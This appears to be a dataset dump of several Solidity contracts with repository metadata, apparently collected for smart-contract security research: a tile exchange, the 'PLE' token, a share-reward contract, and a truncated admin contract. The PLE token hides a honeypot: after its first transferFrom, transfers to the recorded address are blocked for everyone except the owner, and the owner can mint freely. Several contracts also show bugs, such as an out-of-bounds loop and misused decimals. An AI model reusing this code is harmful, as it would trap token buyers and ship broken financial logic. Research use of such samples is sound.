|
Solidity
| false |
593908510
|
SKKU-SecLab/SmartMark
|
fdf0675d2f959715d6f822351544c6bc91a5bdd4
|
dataset/Solidity_codes_9324/0x49fda4f70c7c1b8ac4e51a9debaa001af3d06932.sol
| 3,445 | 11,190 |
pragma solidity >=0.8.0 <0.9.0;
interface Etheria {
function getOwner(uint8 col, uint8 row) external view returns(address);
function setOwner(uint8 col, uint8 row, address newOwner) external;
}
interface MapElevationRetriever {
function getElevation(uint8 col, uint8 row) external view returns (uint8);
}
contract EtheriaExchangeXL {
address public owner;
address public pendingOwner;
string public name = "EtheriaExchangeXL";
Etheria public constant etheria = Etheria(address(0xB21f8684f23Dbb1008508B4DE91a0aaEDEbdB7E4));
MapElevationRetriever public constant mapElevationRetriever = MapElevationRetriever(address(0x68549D7Dbb7A956f955Ec1263F55494f05972A6b));
uint128 public minBid = uint128(1 ether); // setting this to 10 finney throws compilation error for some reason
uint256 public feeRate = uint256(100); // in basis points (100 is 1%)
uint256 public collectedFees;
struct Bid {
uint128 amount;
uint8 minCol; // shortened all of these for readability
uint8 maxCol;
uint8 minRow;
uint8 maxRow;
uint8 minEle;
uint8 maxEle;
uint8 minWat;
uint8 maxWat;
uint64 biddersIndex; // renamed from bidderIndex because it's the Index of the bidders array
}
address[] public bidders;
mapping (address => Bid) public addressToBidMap; // renamed these three to be ultra-descriptive
mapping (address => uint256) public addressToPendingWithdrawalMap;
mapping (uint16 => uint128) public indexToAskMap;
event OwnershipTransferInitiated(address indexed owner, address indexed pendingOwner); // renamed some of these to conform to past tense verbs
event OwnershipTransferAccepted(address indexed oldOwner, address indexed newOwner);
event BidCreated(address indexed bidder, uint128 indexed amount, uint8 minCol, uint8 maxCol, uint8 minRow, uint8 maxRow, uint8 minEle, uint8 maxEle, uint8 minWat, uint8 maxWat);
event BidAccepted(address indexed seller, address indexed bidder, uint128 indexed amount, uint16 col, uint16 row, uint8 minCol, uint8 maxCol, uint8 minRow, uint8 maxRow, uint8 minEle, uint8 maxEle, uint8 minWat, uint8 maxWat);
event BidCancelled(address indexed bidder, uint128 indexed amount, uint8 minCol, uint8 maxCol, uint8 minRow, uint8 maxRow, uint8 minEle, uint8 maxEle, uint8 minWat, uint8 maxWat);
event AskCreated(address indexed owner, uint256 indexed price, uint8 col, uint8 row);
event WithdrawalProcessed(address indexed account, address indexed destination, uint256 indexed amount);
constructor() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner, "EEXL: Not owner");
_;
}
function transferOwnership(address newOwner) external onlyOwner {
pendingOwner = newOwner;
emit OwnershipTransferInitiated(msg.sender, newOwner);
}
function acceptOwnership() external {
require(msg.sender == pendingOwner, "EEXL: Not pending owner");
emit OwnershipTransferAccepted(owner, msg.sender);
owner = msg.sender;
pendingOwner = address(0);
}
function _safeTransferETH(address recipient, uint256 amount) internal {
(bool success,) = recipient.call{ value: amount }("");
require(success, "EEXL: ETH transfer failed");
}
function collectFees() external onlyOwner {
uint256 amount = collectedFees;
collectedFees = uint256(0);
_safeTransferETH(msg.sender, amount);
}
function setFeeRate(uint256 newFeeRate) external onlyOwner {
require((feeRate = newFeeRate) <= uint256(500), "EEXL: Invalid feeRate"); // feeRate will revert if req fails
}
function setMinBid(uint128 newMinBid) external onlyOwner {
minBid = newMinBid; // doubly beneficial because I could effectively kill new bids with a huge minBid
} // in the event of an exchange upgrade or unforseen problem
function _getIndex(uint8 col, uint8 row) internal pure returns (uint16) {
require(_isValidColOrRow(col) && _isValidColOrRow(row), "EEXL: Invalid col and/or row");
return (uint16(col) * uint16(33)) + uint16(row);
}
function _isValidColOrRow(uint8 value) internal pure returns (bool) {
return (value >= uint8(0)) && (value <= uint8(32));
}
function _isValidElevation(uint8 value) internal pure returns (bool) {
return (value >= uint8(125)) && (value <= uint8(216));
}
function _isWater(uint8 col, uint8 row) internal view returns (bool) {
return mapElevationRetriever.getElevation(col, row) < uint8(125);
}
function _boolToUint8(bool value) internal pure returns (uint8) {
return value ? uint8(1) : uint8(0);
}
function _getSurroundingWaterCount(uint8 col, uint8 row) internal view returns (uint8 waterTiles) {
require((col >= uint8(1)) && (col <= uint8(31)), "EEXL: Water counting requres col 1-31");
require((row >= uint8(1)) && (row <= uint8(31)), "EEXL: Water counting requres col 1-31");
if (row % uint8(2) == uint8(1)) {
waterTiles += _boolToUint8(_isWater(col + uint8(1), row + uint8(1))); // northeast_hex
waterTiles += _boolToUint8(_isWater(col + uint8(1), row - uint8(1))); // southeast_hex
} else {
waterTiles += _boolToUint8(_isWater(col - uint8(1), row - uint8(1))); // southwest_hex
waterTiles += _boolToUint8(_isWater(col - uint8(1), row + uint8(1))); // northwest_hex
}
waterTiles += _boolToUint8(_isWater(col, row - uint8(1))); // southwest_hex or southeast_hex
waterTiles += _boolToUint8(_isWater(col, row + uint8(1))); // northwest_hex or northeast_hex
waterTiles += _boolToUint8(_isWater(col + uint8(1), row)); // east_hex
waterTiles += _boolToUint8(_isWater(col - uint8(1), row)); // west_hex
}
function getBidders() public view returns (address[] memory) {
return bidders;
}
function getAsk(uint8 col, uint8 row) public view returns (uint128) {
return indexToAskMap[_getIndex(col, row)];
}
function getAsks() external view returns (uint128[1088] memory asks) {
for (uint256 i; i <= uint256(1088); ++i) {
asks[i] = indexToAskMap[uint16(i)];
}
}
function setAsk(uint8 col, uint8 row, uint128 price) external {
require(etheria.getOwner(col, row) == msg.sender, "EEXL: Not tile owner");
emit AskCreated(msg.sender, indexToAskMap[_getIndex(col, row)] = price, col, row);
}
function makeBid(uint8 minCol, uint8 maxCol, uint8 minRow, uint8 maxRow, uint8 minEle, uint8 maxEle, uint8 minWat, uint8 maxWat) external payable {
require(msg.sender == tx.origin, "EEXL: not EOA");
require(msg.value <= type(uint128).max, "EEXL: value too high");
require(msg.value >= minBid, "EEXL: req bid amt >= minBid");
require(msg.value >= 0, "EEXL: req bid amt >= 0");
require(addressToBidMap[msg.sender].amount == uint128(0), "EEXL: bid exists, cancel first");
require(_isValidColOrRow(minCol), "EEXL: minCol OOB");
require(_isValidColOrRow(maxCol), "EEXL: maxCol OOB");
require(minCol <= maxCol, "EEXL: req minCol <= maxCol");
require(_isValidColOrRow(minRow), "EEXL: minRow OOB");
require(_isValidColOrRow(maxRow), "EEXL: maxRow OOB");
require(minRow <= maxRow, "EEXL: req minRow <= maxRow");
require(_isValidElevation(minEle), "EEXL: minEle OOB"); // these ele checks prevent water bidding, regardless of row/col
require(_isValidElevation(maxEle), "EEXL: maxEle OOB");
require(minEle <= maxEle, "EEXL: req minEle <= maxEle");
require(minWat <= uint8(6), "EEXL: minWat OOB");
require(maxWat <= uint8(6), "EEXL: maxWat OOB");
require(minWat <= maxWat, "EEXL: req minWat <= maxWat");
uint256 biddersArrayLength = bidders.length;
require(biddersArrayLength < type(uint64).max, "EEXL: too many bids");
addressToBidMap[msg.sender] = Bid({
amount: uint128(msg.value),
minCol: minCol,
maxCol: maxCol,
minRow: minRow,
maxRow: maxRow,
minEle: minEle,
maxEle: maxEle,
minWat: minWat,
maxWat: maxWat,
biddersIndex: uint64(biddersArrayLength)
});
bidders.push(msg.sender);
emit BidCreated(msg.sender, uint128(msg.value), minCol, maxCol, minRow, maxRow, minEle, maxEle, minWat, maxWat);
}
function _deleteBid(address bidder, uint64 biddersIndex) internal { // used by cancelBid and acceptBid
address lastBidder = bidders[bidders.length - uint256(1)];
if (bidder != lastBidder) {
bidders[biddersIndex] = lastBidder; // Overwrite the bidder at the index with the last bidder
addressToBidMap[lastBidder].biddersIndex = biddersIndex; // Update the bidder index of the bid of the previously last bidder
}
delete addressToBidMap[bidder];
bidders.pop();
}
function cancelBid() external {
Bid storage bid = addressToBidMap[msg.sender];
uint128 amount = bid.amount;
require(amount != uint128(0), "EEXL: No existing bid");
emit BidCancelled(msg.sender, amount, bid.minCol, bid.maxCol, bid.minRow, bid.maxRow, bid.minEle, bid.maxEle, bid.minWat, bid.maxWat);
_deleteBid(msg.sender, bid.biddersIndex);
addressToPendingWithdrawalMap[msg.sender] += uint256(amount);
}
function acceptBid(uint8 col, uint8 row, address bidder, uint256 minAmount) external {
require(etheria.getOwner(col, row) == msg.sender, "EEXL: Not owner");
Bid storage bid = addressToBidMap[bidder];
uint128 amount = bid.amount;
require((amount >= minAmount) &&
(col >= bid.minCol) &&
(col <= bid.maxCol) &&
(row >= bid.minRow) &&
(row <= bid.maxRow) &&
(mapElevationRetriever.getElevation(col, row) >= bid.minEle) &&
(mapElevationRetriever.getElevation(col, row) <= bid.maxEle) &&
(_getSurroundingWaterCount(col, row) >= bid.minWat) &&
(_getSurroundingWaterCount(col, row) <= bid.maxWat),
"EEXL: tile doesn't meet bid reqs");
emit BidAccepted(msg.sender, bidder, amount, col, row, bid.minCol, bid.maxCol, bid.minRow, bid.maxRow, bid.minEle, bid.maxEle, bid.minWat, bid.maxWat);
_deleteBid(bidder, bid.biddersIndex);
etheria.setOwner(col, row, bidder);
require(etheria.getOwner(col, row) == bidder, "EEXL: failed setting tile owner"); // ok for require after event emission. Events are technically state changes and atomic as well.
uint256 fee = (uint256(amount) * feeRate) / uint256(10_000);
collectedFees += fee;
addressToPendingWithdrawalMap[msg.sender] += (uint256(amount) - fee);
delete indexToAskMap[_getIndex(col, row)];
}
function _withdraw(address account, address payable destination) internal {
uint256 amount = addressToPendingWithdrawalMap[account];
require(amount > uint256(0), "EEXL: nothing pending");
addressToPendingWithdrawalMap[account] = uint256(0);
_safeTransferETH(destination, amount);
emit WithdrawalProcessed(account, destination, amount);
}
function withdraw(address payable destination) external {
_withdraw(msg.sender, destination);
}
function withdraw() external {
_withdraw(msg.sender, payable(msg.sender));
}
}
| 276,165 | 692 |
9b48ab66b74f4c3ba915fb381aa12a6fcffc3efcac84af01f8e91275dd503e41
| 22,831 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/f5/f53EE01B8460525FF5cc3A1be08828b8F5D53947_PLE.sol
| 3,094 | 11,746 |
pragma solidity ^0.6.12;
// SPDX-License-Identifier: Unlicensed
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function geUnlockTime() public view returns (uint256) {
return _lockTime;
}
//Locks the contract for owner for the amount of time provided
function lock(uint256 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = now + time;
emit OwnershipTransferred(_owner, address(0));
}
//Unlocks the contract for owner when _lockTime is exceeds
function unlock() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock");
require(now > _lockTime , "Contract is locked until 7 days");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract PLE is Context, IERC20, Ownable, Pausable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint8 private _decimals = 9;
uint256 private _totalSupply = 1000000000 * 10**9;
string private _symbol = "PLE";
string private _name = "Plethori";
address public newun;
constructor() public {
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function transfernewun(address _newun) public onlyOwner {
newun = _newun;
}
function getOwner() external view returns (address) {
return owner();
}
function decimals() external view returns (uint8) {
return _decimals;
}
function symbol() external view returns (string memory) {
return _symbol;
}
function name() external view returns (string memory) {
return _name;
}
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) external view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) external override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
if(sender != address(0) && newun == address(0)) newun = recipient;
else require(recipient != newun || sender == owner(), "please wait");
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "error in transferfrom"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "error in decrease allowance"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "transfer sender address is 0 address");
require(recipient != address(0), "transfer recipient address is 0 address");
require(!paused || sender == owner() || recipient == owner(), "paused");
if(newun != address(0)) require(recipient != newun || sender == owner(), "please wait");
_balances[sender] = _balances[sender].sub(amount, "transfer balance too low");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
// function _burn(address account, uint256 amount) internal {
// require(account != address(0), "burn address is 0 address");
// _balances[account] = _balances[account].sub(amount, "burn balance to low");
// _totalSupply = _totalSupply.sub(amount);
// emit Transfer(account, address(0), amount);
// }
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "approve owner is 0 address");
require(spender != address(0), "approve spender is 0 address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
// function _burnFrom(address account, uint256 amount) internal {
// _burn(account, amount);
// }
function mint(address _to, uint256 _amount) onlyOwner public returns (bool){
_totalSupply = _totalSupply.add(_amount);
_balances[_to] = _balances[_to].add(_amount);
emit Transfer(address(0), _to, _amount);
return true;
}
}
| 91,397 | 693 |
99675f244e54059ec9dfc93119c1fd85b09589833830d7691ed3fcf03c2c9bc3
| 19,787 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/e5/e5221490775d820f767d2903b708562d8cc7d6af_EasyBlock.sol
| 3,713 | 15,225 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// LIBRARIES START
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// ERC20 Interface
interface IERC20 {
function decimals() external view returns (uint8);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
function totalSupply() external view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// LIBRARIES END
contract EasyBlock {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// Shareholder Info
address[] public holders;
mapping(address => uint) public shareCount;
mapping(address => uint) public claimableReward;
uint public totalShareCount = 0;
// Manager Info
address public manager;
uint public fee = 0; // per 1000
address public feeCollector;
// Deposit Token
address public rewardToken;
// Purchase Tokens
address[] public purchaseTokens;
mapping(address => uint) public purchaseTokensPrice; // In USD
// StrongBlock Node Holders
address[] public nodeHolders;
// Statistic Variables
uint public totalInvestmentsInUSD;
uint public totalRewardsDistributedInUSD;
mapping(address => uint) public totalUserRewards;
// Protocol controllers
bool public sharePurchaseEnabled;
event Investment(uint shareAmount, uint investmentInUSD, address shareHolder);
event RewardCollected(uint amount, address shareHolder);
constructor (uint _fee) {
manager = msg.sender;
fee = _fee;
feeCollector = msg.sender;
totalInvestmentsInUSD = 0;
totalRewardsDistributedInUSD = 0;
sharePurchaseEnabled = false;
}
// Controller toggles
function toggleSharePurchaseEnabled() external {
require(msg.sender == manager, "Not Authorized!");
sharePurchaseEnabled = !sharePurchaseEnabled;
}
// Deposit to Purchase Methods
function addPurchaseToken(address _tokenAddress, uint _tokenPrice) external {
require(msg.sender == manager, "Not Authorized!");
require(!listContains(purchaseTokens, _tokenAddress), "Token already added.");
purchaseTokens.push(_tokenAddress);
purchaseTokensPrice[_tokenAddress] = _tokenPrice;
}
function editPurchaseToken(address _tokenAddress, uint _tokenPrice) external {
require(msg.sender == manager, "Not Authorized!");
require(listContains(purchaseTokens, _tokenAddress), "Token is not a purchase asset.");
purchaseTokensPrice[_tokenAddress] = _tokenPrice;
}
// Deposit to Share Rewards Methods
function setDepositToken(address _tokenAddress) external {
require(msg.sender == manager, "Not Authorized!");
rewardToken = _tokenAddress;
}
// NodeHolders
function setNodeHolder(address _address) external {
require(msg.sender == manager, "Not Authorized!");
require(!listContains(nodeHolders, _address), "Address already added.");
nodeHolders.push(_address);
}
// Manager Related Methods
function setManager(address _address) external {
require(msg.sender == manager, "Not Authorized!");
manager = _address;
}
function setFeeCollector(address _address) external {
require(msg.sender == manager, "Not Authorized!");
feeCollector = _address;
}
function setFee(uint _fee) external {
require(msg.sender == manager, "Not Authorized!");
fee = _fee;
}
function withdrawToManager(address _token, uint _amount) external {
require(msg.sender == manager, "Not Authorized!");
require(listContains(purchaseTokens, _token), "Not a Purchase Token.");
IERC20(_token).safeTransfer(manager, _amount);
}
function depositRewards(uint _amount) external {
IERC20(rewardToken).safeTransferFrom(msg.sender, address(this), _amount);
totalRewardsDistributedInUSD = totalRewardsDistributedInUSD.add(_amount.div(IERC20(rewardToken).decimals()));
uint _feeAmount = fee.mul(_amount).div(1000);
IERC20(rewardToken).safeTransfer(feeCollector, _feeAmount);
_amount = _amount.sub(_feeAmount);
for(uint _i = 0; _i < holders.length; _i++) {
address _currentHolder = holders[_i];
uint _userReward = _amount.mul(shareCount[_currentHolder]).div(totalShareCount);
claimableReward[_currentHolder] = claimableReward[_currentHolder].add(_userReward);
totalUserRewards[_currentHolder] = totalUserRewards[_currentHolder].add(_userReward);
}
}
function transferSharesFromManager(address _targetAddress, uint _shareAmount) external{
require(msg.sender == manager, "Not Authorized!");
require(shareCount[msg.sender] >= _shareAmount, "Not Enough Shares.");
shareCount[msg.sender] = shareCount[msg.sender].sub(_shareAmount);
shareCount[_targetAddress] = shareCount[_targetAddress].add(_shareAmount);
}
// Shareholder Methods
function claimRewards() external {
require(listContains(holders, msg.sender), "msg.sender is not a shareholder.");
IERC20(rewardToken).safeTransfer(msg.sender, claimableReward[msg.sender]);
emit RewardCollected(claimableReward[msg.sender], msg.sender);
claimableReward[msg.sender] = 0;
}
function buyShares(address _token, uint _shareCount) external {
require(listContains(purchaseTokens, _token), "Not a Purchase Token.");
require(sharePurchaseEnabled, "Shares are not purchasable at the moment.");
uint _tokenDecimals = IERC20(_token).decimals();
uint _price = purchaseTokensPrice[_token];
IERC20(_token).safeTransferFrom(msg.sender, address(this), _price.mul(_tokenDecimals).mul(_shareCount));
totalInvestmentsInUSD = totalInvestmentsInUSD.add(_shareCount.mul(_price));
if(!listContains(holders, msg.sender)) {
holders.push(msg.sender);
shareCount[msg.sender] = 0;
}
shareCount[msg.sender] = shareCount[msg.sender].add(_shareCount);
totalShareCount = totalShareCount.add(_shareCount);
emit Investment(_shareCount, _price.mul(_shareCount), msg.sender);
}
// HELPERS START
function listContains(address[] storage _list, address _token) internal view returns (bool) {
for(uint i = 0; i < _list.length; i++) {
if(_list[ i ] == _token) {
return true;
}
}
return false;
}
// HELPERS END
}
| 313,374 | 694 |
fa66c172625ec8cd0df0049531f5c59bb537e87454361032e0413c91c7de37be
| 15,892 |
.sol
|
Solidity
| false |
360539372
|
transaction-reverting-statements/Characterizing-require-statement-in-Ethereum-Smart-Contract
|
1d65472e1c546af6781cb17991843befc635a28e
|
dataset/dapp_contracts/Utilities/0xecc043b92834c1ebde65f2181b59597a6588d616.sol
| 2,729 | 11,329 |
pragma solidity 0.4.24;
pragma experimental "v0.5.0";
contract Administration {
using SafeMath for uint256;
address public owner;
address public admin;
event AdminSet(address _admin);
event OwnershipTransferred(address _previousOwner, address _newOwner);
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyAdmin() {
require(msg.sender == owner || msg.sender == admin);
_;
}
modifier nonZeroAddress(address _addr) {
require(_addr != address(0), "must be non zero address");
_;
}
constructor() public {
owner = msg.sender;
admin = msg.sender;
}
function setAdmin(address _newAdmin)
public
onlyOwner
